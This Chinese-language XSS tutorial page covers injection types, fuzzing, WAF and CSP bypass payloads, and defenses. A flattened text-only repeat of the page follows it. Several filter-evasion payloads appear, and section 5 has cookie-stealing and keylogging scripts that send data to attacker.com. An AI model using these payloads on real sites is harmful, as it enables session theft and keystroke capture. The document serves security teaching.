SecWiki周刊(第316期)
字数 1219 2025-08-18 11:39:30

XSS从入门到进阶:Fuzzing、Bypass WAF与Payloads实战指南

一、XSS基础概念

1.1 XSS定义与分类

跨站脚本攻击(XSS)是一种将恶意脚本注入到可信网站中的安全漏洞,主要分为三类:

  • 反射型XSS:非持久化攻击,恶意脚本来自当前HTTP请求
  • 存储型XSS:持久化攻击,恶意脚本存储在服务器上
  • DOM型XSS:完全在客户端执行,不涉及服务器响应

1.2 XSS危害

  • 窃取用户会话Cookie
  • 重定向用户到恶意网站
  • 发起CSRF攻击
  • 键盘记录
  • 钓鱼攻击

二、XSS基础Payloads

2.1 基本注入方式

<script>alert(1)</script>

<svg/onload=alert(1)>

2.2 绕过基本过滤

<ScRiPt>alert(1)</ScRiPt>

<iframe src="javascript:alert(1)">

三、XSS Fuzzing技术

3.1 Fuzzing方法论

  1. 输入点识别:URL参数、表单字段、HTTP头等
  2. 上下文分析:HTML标签内、属性内、JavaScript代码内等
  3. 过滤规则探测:字符过滤、关键词过滤、编码转换等

3.2 自动化Fuzzing工具

  • XSStrike:高级XSS检测工具
  • XSS Hunter:盲打XSS利用平台
  • Burp Suite Scanner:企业级扫描工具

四、WAF绕过技术

4.1 常见WAF防护规则

  • 关键词黑名单(script, alert, onerror等)
  • 特殊字符过滤(<, >, ", ', /等)
  • 长度限制
  • 编码检测

4.2 高级绕过技术

4.2.1 编码混淆

<!-- HTML实体编码 -->


<!-- JavaScript编码 -->
<script>\u0061\u006c\u0065\u0072\u0074(1)</script>

4.2.2 非常规标签

<details/open/ontoggle=alert(1)>
<video><source onerror=alert(1)>

4.2.3 协议混淆

<a href="jAvAsCrIpT:alert(1)">click</a>
<iframe src="data:text/html,<script>alert(1)</script>">

五、高级XSS利用技术

5.1 窃取Cookie

var img = new Image();
img.src = "http://attacker.com/steal.php?cookie=" + document.cookie;

5.2 键盘记录

document.onkeypress = function(e) {
  var xhr = new XMLHttpRequest();
  xhr.open("POST", "http://attacker.com/log", true);
  xhr.send(String.fromCharCode(e.keyCode));
}

5.3 绕过CSP

<!-- 利用JSONP端点 -->
<script src="https://example.com/api?callback=alert(1)//"></script>

<!-- 利用AngularJS沙箱逃逸 -->
<div ng-app>{{constructor.constructor('alert(1)')()}}</div>

六、防御措施

6.1 开发者防护

  • 实施内容安全策略(CSP)
  • 对所有用户输入进行HTML实体编码
  • 使用HttpOnly和Secure标志设置Cookie
  • 实施X-XSS-Protection头

6.2 WAF规则建议

  • 不要仅依赖关键词过滤
  • 实现上下文感知的过滤
  • 限制输入长度
  • 监控异常请求模式

七、实战案例

7.1 存储型XSS案例

  1. 在评论字段注入恶意脚本
  2. 脚本存储到数据库
  3. 所有访问该页面的用户都会执行恶意脚本

7.2 DOM型XSS案例

// 漏洞代码
var hash = location.hash.substring(1);
document.write(hash);

// 利用方式
http://example.com/#<script>alert(1)</script>

八、资源与工具

8.1 学习资源

  • OWASP XSS备忘单
  • PortSwigger XSS实验室
  • XSS Filter Evasion Cheat Sheet

8.2 实用工具

  • BeEF:XSS利用框架
  • XSS Hunter:盲打XSS平台
  • DOM Invader:Burp Suite的DOM XSS检测工具

九、法律与道德

  • 仅在有合法授权的情况下测试XSS漏洞
  • 发现漏洞后应遵循负责任的披露流程
  • 未经授权的测试可能违反法律

本教学文档基于SecWiki周刊第316期中的《XSS入门到进阶(附Fuzzing+BypassWAF+Payloads)》内容整理扩展,结合了其他相关资源和技术实践。建议读者在合法授权范围内进行测试,并持续关注XSS防护技术的最新发展。

XSS从入门到进阶:Fuzzing、Bypass WAF与Payloads实战指南 一、XSS基础概念 1.1 XSS定义与分类 跨站脚本攻击(XSS)是一种将恶意脚本注入到可信网站中的安全漏洞,主要分为三类: 反射型XSS :非持久化攻击,恶意脚本来自当前HTTP请求 存储型XSS :持久化攻击,恶意脚本存储在服务器上 DOM型XSS :完全在客户端执行,不涉及服务器响应 1.2 XSS危害 窃取用户会话Cookie 重定向用户到恶意网站 发起CSRF攻击 键盘记录 钓鱼攻击 二、XSS基础Payloads 2.1 基本注入方式 2.2 绕过基本过滤 三、XSS Fuzzing技术 3.1 Fuzzing方法论 输入点识别 :URL参数、表单字段、HTTP头等 上下文分析 :HTML标签内、属性内、JavaScript代码内等 过滤规则探测 :字符过滤、关键词过滤、编码转换等 3.2 自动化Fuzzing工具 XSStrike :高级XSS检测工具 XSS Hunter :盲打XSS利用平台 Burp Suite Scanner :企业级扫描工具 四、WAF绕过技术 4.1 常见WAF防护规则 关键词黑名单(script, alert, onerror等) 特殊字符过滤( <, >, ", ', /等) 长度限制 编码检测 4.2 高级绕过技术 4.2.1 编码混淆 4.2.2 非常规标签 4.2.3 协议混淆 五、高级XSS利用技术 5.1 窃取Cookie 5.2 键盘记录 5.3 绕过CSP 六、防御措施 6.1 开发者防护 实施内容安全策略(CSP) 对所有用户输入进行HTML实体编码 使用HttpOnly和Secure标志设置Cookie 实施X-XSS-Protection头 6.2 WAF规则建议 不要仅依赖关键词过滤 实现上下文感知的过滤 限制输入长度 监控异常请求模式 七、实战案例 7.1 存储型XSS案例 在评论字段注入恶意脚本 脚本存储到数据库 所有访问该页面的用户都会执行恶意脚本 7.2 DOM型XSS案例 八、资源与工具 8.1 学习资源 OWASP XSS备忘单 PortSwigger XSS实验室 XSS Filter Evasion Cheat Sheet 8.2 实用工具 BeEF :XSS利用框架 XSS Hunter :盲打XSS平台 DOM Invader :Burp Suite的DOM XSS检测工具 九、法律与道德 仅在有合法授权的情况下测试XSS漏洞 发现漏洞后应遵循负责任的披露流程 未经授权的测试可能违反法律 本教学文档基于SecWiki周刊第316期中的《XSS入门到进阶(附Fuzzing+BypassWAF+Payloads)》内容整理扩展,结合了其他相关资源和技术实践。建议读者在合法授权范围内进行测试,并持续关注XSS防护技术的最新发展。